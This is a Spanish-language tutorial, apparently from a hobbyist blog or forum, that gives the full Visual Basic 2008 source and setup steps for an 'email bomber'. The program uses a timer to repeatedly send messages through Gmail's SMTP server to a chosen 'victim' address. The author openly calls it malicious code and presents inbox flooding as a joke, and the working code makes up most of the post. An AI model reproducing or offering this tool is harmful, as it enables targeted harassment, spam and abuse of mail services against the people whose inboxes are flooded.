How to make a Email Bomber in Visual Basic 08

hola, aca traigo un codigo malicioso :D para hacer email bomber utilizando el IDE de Visual Studio 2008, para explicar un poco esto del email bomber digamos que es una aplicacion para bombardear a la persona que quieras la cantidad de mensajes que quieras, considerenlo como un spam, para esto vamos a crear un winform en visual basic y que luzca de esta manera

hasta aqui se ve inofensivo :D, los controles que tienen que agregar son:

• 6 textbox.
• 6 labels.
• 3 botones
• 1 timer

la gente que tiene costumbre de hacer winforms sabe de lo que hablo, los que no han practicado mucho pueden empezar con este ejemplito jejej, ahora en el textbox de password en la propiedad UseSystemPasswordChar lo ponen en true. el textbox de mensaje es de tipo multiline eso lo seleccionan asi

esto es para el diseño ahora ya con el formulario listo agreguen este codigo, denle click derecho en su winform y seleccionen ver codigo:

Imports System.Net.Mail
Imports System.IO
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage
        Try

            MyMailMessage.From() = New MailAddress(TextBox1.Text)
            MyMailMessage.To.Add(TextBox3.Text)
            MyMailMessage.Subject = TextBox5.Text
            MyMailMessage.Body = (TextBox4.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTP.Send(MyMailMessage)

        Catch ex As Exception

        End Try
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
       Timer1.Interval = Textbox6.Text
    End Sub
End Class

OJO ESTE CODIGO FUNCIONA PARA CORREOS EN GMAIL
ahora presionen F5 y escriban su correo, su password, el correo de la victima(pueden poner su mismo correo para probar :D les aseguro no se satura mucho yo ya lo hice), el asunto, donde es Speed pongan 1 para no sobrecargar su bandeja y listo le dan click al boton Set Speed, cuando retornen a su bandeja veran un monton de mensajes con el subject que hayan puesto y el mensaje. Espero les haya servido este pequeño ejemplito ire poniendo mas conforme vaya aprendiendo disfrutenloo